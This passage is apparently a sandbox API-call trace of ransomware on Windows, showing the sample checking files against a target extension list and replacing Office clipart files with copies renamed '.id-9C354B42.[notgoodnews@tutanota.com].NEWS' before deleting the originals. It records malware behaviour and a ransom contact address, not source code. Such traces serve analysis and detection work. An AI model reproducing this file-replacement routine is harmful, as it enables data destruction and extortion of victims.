lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.098] lstrlenW (lpString=".xlsx") returned 5 [0244.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.098] lstrlenW (lpString=".ppt") returned 4 [0244.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.099] lstrlenW (lpString=".zip") returned 4 [0244.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.099] lstrlenW (lpString=".rar") returned 4 [0244.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.099] lstrlenW (lpString=".bz2") returned 4 [0244.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.099] lstrlenW (lpString=".7z") returned 3 [0244.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.099] lstrlenW (lpString=".dbf") returned 4 [0244.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.100] lstrlenW (lpString=".1cd") returned 4 [0244.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.100] lstrlenW (lpString=".jpg") returned 4 [0244.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.100] lstrlenW (lpString=".doc") returned 4 [0244.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.101] lstrlenW (lpString=".docx") returned 5 [0244.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.101] lstrlenW (lpString=".pdf") returned 4 [0244.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.101] lstrlenW (lpString=".xls") returned 4 [0244.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.101] lstrlenW (lpString=".xlsx") returned 5 [0244.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.101] lstrlenW (lpString=".ppt") returned 4 [0244.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.102] lstrlenW (lpString=".zip") returned 4 [0244.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.102] lstrlenW (lpString=".rar") returned 4 [0244.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.102] lstrlenW (lpString=".bz2") returned 4 [0244.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.102] lstrlenW (lpString=".7z") returned 3 [0244.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.102] lstrlenW (lpString=".dbf") returned 4 [0244.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.103] lstrlenW (lpString=".1cd") returned 4 [0244.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.103] lstrlenW (lpString=".jpg") returned 4 [0244.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.104] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.104] lstrlenW (lpString="BD00160_.WMF") returned 12 [0244.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0244.140] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=22516) returned 1 [0244.140] CloseHandle (hObject=0x3cc) returned 1 [0244.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0244.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0244.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0244.459] GetLastError () returned 0x0 [0244.459] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0244.532] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0244.536] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.536] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.536] SetEndOfFile (hFile=0x384) returned 1 [0244.537] CloseHandle (hObject=0x384) returned 1 [0244.537] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.537] SetEndOfFile (hFile=0x388) returned 1 [0244.548] CloseHandle (hObject=0x388) returned 1 [0244.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0244.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.550] lstrlenW (lpString=".doc") returned 4 [0244.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.550] lstrlenW (lpString=".docx") returned 5 [0244.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.550] lstrlenW (lpString=".pdf") returned 4 [0244.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.551] lstrlenW (lpString=".xls") returned 4 [0244.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.551] lstrlenW (lpString=".xlsx") returned 5 [0244.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.551] lstrlenW (lpString=".ppt") returned 4 [0244.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.551] lstrlenW (lpString=".zip") returned 4 [0244.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.551] lstrlenW (lpString=".rar") returned 4 [0244.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.552] lstrlenW (lpString=".bz2") returned 4 [0244.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.552] lstrlenW (lpString=".7z") returned 3 [0244.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.552] lstrlenW (lpString=".dbf") returned 4 [0244.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.552] lstrlenW (lpString=".1cd") returned 4 [0244.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.552] lstrlenW (lpString=".jpg") returned 4 [0244.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.553] lstrlenW (lpString=".doc") returned 4 [0244.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.553] lstrlenW (lpString=".docx") returned 5 [0244.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.553] lstrlenW (lpString=".pdf") returned 4 [0244.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.553] lstrlenW (lpString=".xls") returned 4 [0244.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.553] lstrlenW (lpString=".xlsx") returned 5 [0244.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.554] lstrlenW (lpString=".ppt") returned 4 [0244.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.554] lstrlenW (lpString=".zip") returned 4 [0244.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.555] lstrlenW (lpString=".rar") returned 4 [0244.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.555] lstrlenW (lpString=".bz2") returned 4 [0244.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.555] lstrlenW (lpString=".7z") returned 3 [0244.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.555] lstrlenW (lpString=".dbf") returned 4 [0244.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.555] lstrlenW (lpString=".1cd") returned 4 [0244.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0244.556] lstrlenW (lpString=".jpg") returned 4 [0244.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.556] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0244.556] lstrlenW (lpString="BD07761_.WMF") returned 12 [0244.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.014] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=26748) returned 1 [0245.014] CloseHandle (hObject=0x304) returned 1 [0245.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0245.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0245.056] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.056] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0245.057] GetLastError () returned 0x0 [0245.057] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x687c, lpOverlapped=0x0) returned 1 [0245.117] WriteFile (in: hFile=0x3d0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0245.121] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.121] WriteFile (in: hFile=0x3d0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.122] SetEndOfFile (hFile=0x3d0) returned 1 [0245.122] CloseHandle (hObject=0x3d0) returned 1 [0245.122] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.122] SetEndOfFile (hFile=0x3cc) returned 1 [0245.130] CloseHandle (hObject=0x3cc) returned 1 [0245.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0245.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.133] lstrlenW (lpString=".doc") returned 4 [0245.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.133] lstrlenW (lpString=".docx") returned 5 [0245.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.133] lstrlenW (lpString=".pdf") returned 4 [0245.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.134] lstrlenW (lpString=".xls") returned 4 [0245.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.134] lstrlenW (lpString=".xlsx") returned 5 [0245.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.134] lstrlenW (lpString=".ppt") returned 4 [0245.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.134] lstrlenW (lpString=".zip") returned 4 [0245.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.134] lstrlenW (lpString=".rar") returned 4 [0245.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.135] lstrlenW (lpString=".bz2") returned 4 [0245.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.135] lstrlenW (lpString=".7z") returned 3 [0245.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.135] lstrlenW (lpString=".dbf") returned 4 [0245.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.135] lstrlenW (lpString=".1cd") returned 4 [0245.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.135] lstrlenW (lpString=".jpg") returned 4 [0245.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.136] lstrlenW (lpString=".doc") returned 4 [0245.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.136] lstrlenW (lpString=".docx") returned 5 [0245.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.136] lstrlenW (lpString=".pdf") returned 4 [0245.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.136] lstrlenW (lpString=".xls") returned 4 [0245.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.137] lstrlenW (lpString=".xlsx") returned 5 [0245.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.137] lstrlenW (lpString=".ppt") returned 4 [0245.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.137] lstrlenW (lpString=".zip") returned 4 [0245.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.137] lstrlenW (lpString=".rar") returned 4 [0245.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.137] lstrlenW (lpString=".bz2") returned 4 [0245.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.137] lstrlenW (lpString=".7z") returned 3 [0245.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.138] lstrlenW (lpString=".dbf") returned 4 [0245.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.138] lstrlenW (lpString=".1cd") returned 4 [0245.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0245.138] lstrlenW (lpString=".jpg") returned 4 [0245.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.139] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.139] lstrlenW (lpString="BD07831_.WMF") returned 12 [0245.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0245.431] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4066) returned 1 [0245.431] CloseHandle (hObject=0x3d0) returned 1 [0245.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0245.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0245.759] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.759] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0245.760] GetLastError () returned 0x0 [0245.760] ReadFile (in: hFile=0x3c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0245.765] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0245.768] ReadFile (in: hFile=0x3c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.768] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.769] SetEndOfFile (hFile=0x3d4) returned 1 [0245.769] CloseHandle (hObject=0x3d4) returned 1 [0245.770] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.770] SetEndOfFile (hFile=0x3c0) returned 1 [0245.788] CloseHandle (hObject=0x3c0) returned 1 [0245.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0245.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.790] lstrlenW (lpString=".doc") returned 4 [0245.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.790] lstrlenW (lpString=".docx") returned 5 [0245.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.790] lstrlenW (lpString=".pdf") returned 4 [0245.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.790] lstrlenW (lpString=".xls") returned 4 [0245.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.790] lstrlenW (lpString=".xlsx") returned 5 [0245.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.791] lstrlenW (lpString=".ppt") returned 4 [0245.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.791] lstrlenW (lpString=".zip") returned 4 [0245.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.791] lstrlenW 